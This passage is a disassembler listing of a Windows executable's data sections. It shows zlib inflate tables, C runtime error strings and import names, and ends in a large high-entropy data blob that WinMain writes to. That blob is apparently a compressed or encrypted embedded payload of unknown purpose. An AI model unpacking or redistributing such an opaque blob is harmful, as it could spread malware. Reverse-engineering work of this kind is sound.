		dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h
		dd 540h
word_60BA68	dw 10h			; DATA XREF: sub_6026FA+878r
					; sub_6026FA+8A5r
		dw 11h
		dd 12h,	70008h,	60009h,	5000Ah,	4000Bh,	3000Ch,	2000Dh
		dd 1000Eh, 0Fh
aIncorrectLengt	db 'incorrect length check',0 ; DATA XREF: sub_6026FA+1033o
		align 4
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_6026FA+FE0o
		align 10h
aInvalidDista_1	db 'invalid distances set',0 ; DATA XREF: sub_6026FA+B58o
		align 4
aInvalidLiter_0	db 'invalid literal/lengths set',0 ; DATA XREF: sub_6026FA+B13o
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_6026FA+AB3o
					; sub_6026FA+AC2o
		align 10h
aInvalidCodeLen	db 'invalid code lengths set',0 ; DATA XREF: sub_6026FA+8F6o
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_6026FA+845o
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_6026FA+761o
		align 10h
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_6026FA+6CCo
		align 4
aHeaderCrcMisma	db 'header crc mismatch',0 ; DATA XREF: sub_6026FA+58Fo
aUnknownHeaderF	db 'unknown header flags set',0 ; DATA XREF: sub_6026FA+1E5o
		align 4
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_6026FA+1D1o
		align 10h
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_6026FA+193o
		align 4
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_6026FA+14Fo
		align 10h
aInflate1_2_3Co	db ' inflate 1.2.3 Copyright 1995-2005 Mark Adler ',0
		align 10h
dword_60BC30	dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h
					; DATA XREF: sub_60391C+141o
		dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h,	0A30083h
		dd 0E300C3h, 102h, 0
dword_60BC70	dd 4 dup(100010h), 2 dup(110011h), 2 dup(120012h), 2 dup(130013h)
					; DATA XREF: sub_60391C+14Bo
		dd 2 dup(140014h), 2 dup(150015h), 0C90010h, 0C4h
dword_60BCB0	dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h
					; DATA XREF: sub_60391C+12Co
		dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h
		dd 30012001h, 60014001h, 0
dword_60BCF0	dd 2 dup(100010h), 110011h, 120012h, 130013h, 140014h
					; DATA XREF: sub_60391C+133o
		dd 150015h, 160016h, 170017h, 180018h, 190019h,	1A001Ah
		dd 1B001Bh, 1C001Ch, 1D001Dh, 400040h
dword_60BD30	dd 0			; DATA XREF: sub_604726+159r
					; .data:00612848o
		dd 7 dup(0)
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 2 dup(0)
dword_60BDA8	dd 0			; DATA XREF: sub_604726+287r
		dd 3 dup(0)
dword_60BDB8	dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh), 10h dup(0)
		dd 2, 3, 7
byte_60BE6C	db 10h			; DATA XREF: sub_6044ED+190r
					; sub_604E3C:loc_604E75r
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_60BE80	dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch
					; DATA XREF: sub_604F24+1C1o
					; .data:00612844o
		dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh
		dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h
		dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h
		dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah
		dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah
		dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h
		dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h
		dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h
		dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh
		dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh
		dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h
		dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h
		dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h
		dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h
		dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h
		dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h
		dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h
		dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh
		dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh
		dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h
		dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h
		dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh
		dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh
		dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh
		dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh
		dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh
		dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h
		dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h
		dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h
		dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h
		dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h
		dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh
		dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh
		dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh
		dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh
		dd 9007Fh, 9017Fh, 900FFh, 901FFh, 70000h, 70040h, 70020h
		dd 70060h, 70010h, 70050h, 70030h, 70070h, 70008h, 70048h
		dd 70028h, 70068h, 70018h, 70058h, 70038h, 70078h, 70004h
		dd 70044h, 70024h, 70064h, 70014h, 70054h, 70034h, 70074h
		dd 80003h, 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h
		dd 800E3h
dword_60C300	dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch
					; DATA XREF: sub_604F24:loc_6050E0o
		dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h
		dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h
		dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh
		dd 50007h, 50017h
byte_60C378	db 0			; DATA XREF: .text:00601BCAr
					; .text:00601F18r ...
		db 1, 2, 3
		dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h)
		dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch)
		dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh)
byte_60C478	db 0			; DATA XREF: .text:00601BD6r
					; .text:00601F24r ...
		align 2
		dw 1110h
		dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2	dup(17171717h)
		dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh)
byte_60C578	db 0			; DATA XREF: .text:00601BABr
					; .text:00601EF9r ...
		db 1, 2, 3
		dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh
		dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h)
		dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h)
		dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h)
		dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh
dword_60C678	dd 0			; DATA XREF: sub_604726+166r
		dd 1, 2, 3, 4, 5, 6, 7,	8, 0Ah,	0Ch, 0Eh, 10h, 14h, 18h
		dd 1Ch,	20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h,	80h, 0A0h
		dd 0C0h, 0E0h, 2 dup(0)
dword_60C6F0	dd 0			; DATA XREF: sub_604726+294r
		dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h
		dd 80h,	0C0h, 100h, 180h, 200h,	300h, 400h, 600h, 800h
		dd 0C00h, 1000h, 1800h,	2000h, 3000h, 4000h, 6000h, 60C800h
		dd 60C7F4h, 60C7F3h, 60C7E8h, 60C7D8h, 60C7CCh,	60C7B8h
		dd 60C7A8h, 60C790h, 60C7F3h, 6F636E69h, 7461706Dh, 656C6269h
		dd 72657620h, 6E6F6973h, 0
aBufferError	db 'buffer error',0
		align 4
aInsufficientMe	db 'insufficient memory',0
aDataError	db 'data error',0
		align 4
aStreamError	db 'stream error',0
		align 4
aFileError	db 'file error',0
byte_60C7F3	db 0			; DATA XREF: __wincmdln+1Bo
aStreamEnd	db 'stream end',0
		align 10h
aNeedDictionary	db 'need dictionary',0
stru_60C810	_msEH <0FFFFFFFFh, offset loc_6058C0, offset loc_6058D4>
					; DATA XREF: start+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: unknown_libname_1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: unknown_libname_1o
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_61289Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
					; ___security_error_handler+132o
		align 4
; char asc_60CC08[]
asc_60CC08	db 0Ah			; DATA XREF: __NMSG_WRITE+107o
					; ___security_error_handler+FCo
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+C1o
					; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
					; ___security_error_handler+8Bo
		align 8
stru_60CC48	_msEH <0FFFFFFFFh, offset loc_607055, offset loc_607059>
					; DATA XREF: sub_607028+2o
		align 8
stru_60CC58	_msEH <0FFFFFFFFh, offset loc_607099, offset loc_60709D>
					; DATA XREF: sub_60706C+2o
		dd 41h dup(0)
asc_60CD68:				; DATA XREF: .data:off_6129C0o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_60CF68	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:006129C4o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
dword_60D16C	dd 0			; DATA XREF: ___crtGetStringTypeA+1Eo
					; ___crtLCMapStringA+1Co
stru_60D170	_msEH <0FFFFFFFFh, offset loc_6073A4, offset loc_6073A8>
					; DATA XREF: ___crtGetStringTypeA+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+13o
		align 10h
stru_60D1F0	_msEH <0FFFFFFFFh, offset sub_607FB1, offset sub_607FB5>
					; DATA XREF: sub_607FC5-2Fo
		align 10h
stru_60D200	_msEH <0FFFFFFFFh, offset loc_608444, offset loc_608448>
					; DATA XREF: ___convertcp+2o
		align 10h
stru_60D210	_msEH <0FFFFFFFFh, offset loc_608992, offset loc_608996>
					; DATA XREF: ___crtLCMapStringA+2o
		dd 0FFFFFFFFh, 60878Fh,	608793h, 0FFFFFFFFh, 60885Dh, 608861h
; char aProgram[]
aProgram	db 'Program: ',0        ; DATA XREF: ___security_error_handler+108o
		align 10h
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: ___security_error_handler+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0
					; DATA XREF: ___security_error_handler:loc_608CB2o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: ___security_error_handler+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
; char aUnknownSecurit[]
aUnknownSecurit	db 'Unknown security failure detected!',0
					; DATA XREF: ___security_error_handler+47o
		align 4
stru_60D3D8	_msEH <0FFFFFFFFh, offset loc_608C8D, offset loc_608C91>
					; DATA XREF: ___security_error_handler+5o
		align 8
		dd 48h,	0Eh dup(0)
		dd offset dword_612AD0
		dd offset dword_60D430
		dd 2
dword_60D430	dd 7104h, 8038h, 0	; DATA XREF: .rdata:0060D428o
dword_60D43C	dd 2 dup(0)		; DATA XREF: sub_607028+Co
					; sub_607028:loc_60703Bo
dword_60D444	dd 0			; DATA XREF: sub_60706C+Co
					; sub_60706C:loc_60707Fo
		dd 0D470h, 2 dup(0)
		dd 0D5A0h, 9000h, 5 dup(0)
		dd 0D53Ch, 0D54Ah, 0D55Ah, 0D566h, 0D578h, 0D58Ah, 0D5AEh
		dd 0D5BAh, 0D5CEh, 0D5E0h, 0D5F2h, 0D602h, 0D610h, 0D61Eh
		dd 0D62Ch, 0D63Ah, 0D64Ch, 0D660h, 0D674h, 0D680h, 0D690h
		dd 0D6ACh, 0D6C6h, 0D6DEh, 0D6F8h, 0D70Eh, 0D71Eh, 0D738h
		dd 0D74Ah, 0D758h, 0D76Ah, 0D780h, 0D792h, 0D79Ch, 0D7A8h
		dd 0D7B4h, 0D7C4h, 0D7D0h, 0D7E6h, 0D7F6h, 0D808h, 0D81Ah
		dd 0D82Ah, 0D83Ah, 0D84Ah, 0D856h, 0D870h, 0D880h, 0D896h
		dd 0D8ACh, 0
		dd 784500AFh, 72507469h, 7365636Fh, 3730073h, 74726956h
		dd 416C6175h, 636F6C6Ch, 2060000h, 70616548h, 6F6C6C41h
		dd 19B0063h, 50746547h,	65636F72h, 65487373h, 7061h, 72430060h
		dd 65746165h, 636F7250h, 41737365h, 1750000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 10h
aKernel32_dll	db 'KERNEL32.dll',0
		align 2
		dw 20Ch
aHeapfree	db 'HeapFree',0
		align 2
		dw 177h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 1AFh
aGetstartupinfo	db 'GetStartupInfoA',0
		db    8
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 1DFh
aGetversionexa	db 'GetVersionExA',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 376h
aVirtualfree	db 'VirtualFree',0
		db  10h
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  4Fh	; O
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 10h
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db  94h	; ”
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db 0B1h	; ±
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 10h
		db  60h	; `
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aA		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 14Dh
aGetenvironment	db 'GetEnvironmentStrings',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  87h	; ‡
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
		dw 14Fh
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h
		dd 46746547h, 54656C69h, 657079h, 654701B2h, 72745374h
		dd 54676E69h, 41657079h, 26B0000h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0B5h	; µ
		db 1, 47h, 65h
aTstringtypew	db 'tStringTypeW',0
		align 2
		dw 0F5h
aGetacp		db 'GetACP',0
		align 4
		db  8Bh	; ‹
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db 0FCh	; ü
		align 2
aGetcpinfo	db 'GetCPInfo',0
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0CAh	; Ê
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db  1Fh
		db 2, 49h, 6Eh
aTerlockedexcha	db 'terlockedExchange',0
		dw 37Bh
aVirtualquery	db 'VirtualQuery',0
		align 2
		dw 16Ch
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 1BB0000h
		dd 53746547h, 65747379h, 666E496Dh, 23A006Fh, 614D434Ch
		dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h
		dd 57676E69h, 2120000h,	70616548h, 657A6953h, 2970000h
aQueryperforman	db 'QueryPerformanceCounter',0
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 10h
		db  3Eh	; >
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 13Bh
aGetcurrentproc	db 'GetCurrentProcessId',0
		dd 654701C0h, 73795374h, 546D6574h, 41656D69h, 6C694673h
		dd 6D695465h
		db 65h,	0
_rdata		ends

; Section 3. (virtual address 0000E000)
; Virtual size			: 0000509C (  20636.)
; Section size in file		: 0000509C (  20636.)
; Offset to raw	data for section: 0000E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 60E000h
dword_60E000	dd 0			; DATA XREF: __cinit+45o
		dd offset ___security_init_cookie
dword_60E008	dd 0			; DATA XREF: __cinit+4Co
dword_60E00C	dd 0			; DATA XREF: __cinit+12o
		dd offset ___initmbctable
		dd offset ___onexitinit
dword_60E018	dd 0			; DATA XREF: __cinit+17o
dword_60E01C	dd 0			; DATA XREF: _doexit:loc_60666Eo
dword_60E020	dd 0			; DATA XREF: _doexit+6Co
dword_60E024	dd 0			; DATA XREF: _doexit:loc_60668Do
dword_60E028	dd 2 dup(0)		; DATA XREF: _doexit+8Bo
byte_60E030	db 87h			; DATA XREF: WinMain(x,x,x,x):loc_6010BFw
					; WinMain(x,x,x,x)+ABo
		db 63h,	12h, 84h
		dd 0A8ACAB80h, 0CFAD8049h, 0DAE40DDEh, 0BB7B236Fh, 0EFF7EC8Dh
		dd 0F6F6F03Dh, 75E5DB2Fh, 758FB956h, 0EAFB0FD2h, 0AB153FAEh
		dd 0BEAEBD1Fh, 2956EB1Dh, 0C4AC5AA3h, 5C4E52A0h, 0C31D3962h
		dd 4E85CB12h, 9E38B7C5h, 8A92E72Ah, 2929420Fh, 10A41628h
		dd 1204B32h, 39A9C4Fh, 5D13966h, 7B231822h, 4A1892DFh
		dd 194414A2h, 9A881070h, 0E0611A2h, 4C1304C6h, 1084C130h
		dd 547A318Ch, 5F556F01h, 0E1EA6B93h, 48AE4979h,	0AE81721Fh
		dd 5C0087Eh, 4A2313DEh,	4326C988h, 181E02F0h, 2CBD090h
		dd 0BD9B6E1Dh, 99E4A636h, 0CA8D9B6Bh, 0CB1C94D6h, 4176AB2Dh
		dd 6947A4CDh, 0EA516F94h, 6BB9A958h, 0B698D537h, 85D47A2Dh
		dd 0F1979319h, 0E56BAF2Fh, 54D6C8A9h, 0F5307D75h, 0EC2E9E8Ah
		dd 2BA2E207h, 4EEB10F7h, 0AC1ABF69h, 93176904h,	7D5258EBh
		dd 30308385h, 7134F898h, 864969AFh, 27C9F492h, 7288DF15h
		dd 0ED42A4D2h, 6C3FC901h, 0B5EAE7E0h, 4A1C4D48h, 52485EAEh
		dd 0C9B161E8h, 4AAC71A2h, 721D89D3h, 200B00ACh,	0ADC541F5h
		dd 2D1190F0h, 0BD15473Fh, 9480F883h, 0EA5124D6h, 82FB0B23h
		dd 9E85727Dh, 89139F82h, 70231987h, 0D4CF96FCh,	0F283CB6Dh
		dd 0EA01985Bh, 0A5FEEBB5h, 47240F4h, 47098h, 3100100h
		dd 9CFC41BBh, 199B65F8h, 441C0C22h, 249488D3h, 89B8AB93h
		dd 9460892h, 81926B7Ah,	111A6C83h, 8A873FCEh, 55DEDA99h
		dd 1A476547h, 5E6C7747h, 0C13611A5h, 20107016h,	0D023544Eh
		dd 1A434215h, 85279047h, 0C025D025h, 531C9CCh, 60DE10E3h
		dd 0C55409Fh, 1256398Dh, 8D436618h, 0ABAF9170h,	84AC119Eh
		dd 244B59Ch, 733C8649h,	54270B51h, 3421C3A2h, 0C86994DDh
		dd 1D082944h, 60A9A84Eh, 0C0D27402h, 4A8B9D75h,	0F712A138h
		dd 88734844h, 0F3C51967h, 6C1321BCh, 7C405F4Bh,	0CBA0E118h
		dd 0A0BA02F9h, 0B885F60Ah, 8691E875h, 4BA16641h, 983CC07Ch
		dd 9B404D17h, 0F1CB15E0h, 9103338h, 651863D0h, 0A2881381h
		dd 0A4389C2Eh, 40BC098Dh, 90A12132h, 161052B3h,	60A8F89Ch
		dd 56F80Ah, 847E1C51h, 6E9E21E9h, 8D0B22AAh, 0D00C1E3Ah
		dd 0E73E521Ah, 0F138E420h, 90D52149h, 32290D2h,	4E561056h
		dd 0B1A4A8h, 42903AB8h,	9D009545h, 5AEA62CCh, 0CC4A97E6h
		dd 0D502BCB6h, 4740110h, 0A69D49A8h, 304474EBh,	0EB06FAA2h
		dd 0FE6111A4h, 18C57286h, 0BC1C6089h, 1BFA9681h, 0A1E6D40Bh
		dd 9F9792CAh, 2F259987h, 5849CB3Ah, 0F0F8AEBAh,	91A712BDh
		dd 304457Ch, 431ADE10h,	0C5727B0Fh, 0DD11A730h,	4C069703h
		dd 0A4D75D4Ch, 57A90608h, 0EC8095DEh, 513146BAh, 51E6935Bh
		dd 0C9AE28E8h, 0A84B6320h, 0D229920Ch, 588DA03h, 455A685Dh
		dd 0F1953E55h, 706D54A5h, 16F2B5FFh, 67333DF3h,	0CB913978h
		dd 5C906743h, 98F7950Dh, 15725AABh, 0DB577243h,	2039540Dh
		dd 7A8D7D95h, 9ADAA114h, 0BCF7025Ch, 0FA509145h, 0D02649B1h
		dd 0A73D48E1h, 94E390DDh, 23935CD5h, 75529CE4h,	0E3EBF22h
		dd 7FA1DDBh, 0E8BB995Fh, 0EBC193A2h, 651676BAh,	24834DECh
		dd 61949F27h, 6FA22DEFh, 0A089F409h, 21722034h,	77A9431h
		dd 0F6650A42h, 0D4A00840h, 0BC5D8879h, 0F4B01B88h, 28A17D02h
		dd 49AFB0F8h, 3E80CBC4h, 0C1885F5Fh, 3F59432Fh,	39478D7h
		dd 0D1C935AEh, 658EDA27h, 3B572629h, 2A4E19C2h,	10BF5A50h
		dd 6BE1D1h, 7E3F0C04h, 9128266Dh, 1A40D15Ch, 58AE4E95h
		dd 0D1A94849h, 8C4E935Dh, 0B9E0A938h, 4F382E57h, 0AE781743h
		dd 69E1B091h, 8737FB8Eh, 675D5C7Fh, 0ED6BD739h,	0CE7B1720h
		dd 12806073h, 0DAD732E7h, 68576A31h, 6070EF3h, 0B996B83Ch
		dd 0C34BAF7Eh, 0C46E575h, 6979F113h, 3966B5FBh,	6189AFD2h
		dd 4AAD502Eh, 0DC0652B2h, 9F15472Bh, 0FDC9BBC9h, 0CDED5A0Eh
		dd 5945AD43h, 9920C6DDh, 0B882CA59h, 45E52E94h,	43FE5F8Eh
		dd 1DB3A357h, 88DC6A41h, 0E5FB11B1h, 0B7D3B28Bh, 0A9030393h
		dd 0E9A376BBh, 33F12D7Ch, 0F6ACA2EAh, 0CA493812h, 23E62373h
		dd 0FEE06E7Eh, 68B29BADh, 5D8DE666h, 295B1113h,	29380114h
		dd 0F8527D8Dh, 0EE1E3061h, 8CF7E19Dh, 63DCB5D1h, 7D2995E7h
		dd 2BB0B97Bh, 0FBC0DFB1h, 8444135Bh, 76017013h,	0FC37E1C2h
		dd 6576632h, 1E1C2EEh, 3691C256h, 0E39C7604h, 0F1C20E02h
		dd 0A3A15C08h, 0E2DF7076h, 0D5DC8A14h, 0D5F10180h, 0D5980194h
		dd 0E0221DEDh, 1C24C830h, 48396042h, 0AC02677Bh, 2B026B84h
		dd 170198E1h, 0ED02FAE1h, 0DD4BDA9Dh, 5FA2B93Eh, 735F3D94h
		dd 3CC37997h, 0B6CA2C8Ch, 411748D7h, 63410663h,	118D80C4h
		dd 28C6821Bh, 10184682h, 63619234h, 0B302F25Ch,	6487E15Ch
		dd 0A5F65Eh, 13B91FD7h,	0DC407E53h, 8A5B9788h, 59458D5Dh
		dd 21949EECh, 0E4C4DE69h, 0A6E9FAACh, 5CB306Ah,	1A73E25Fh
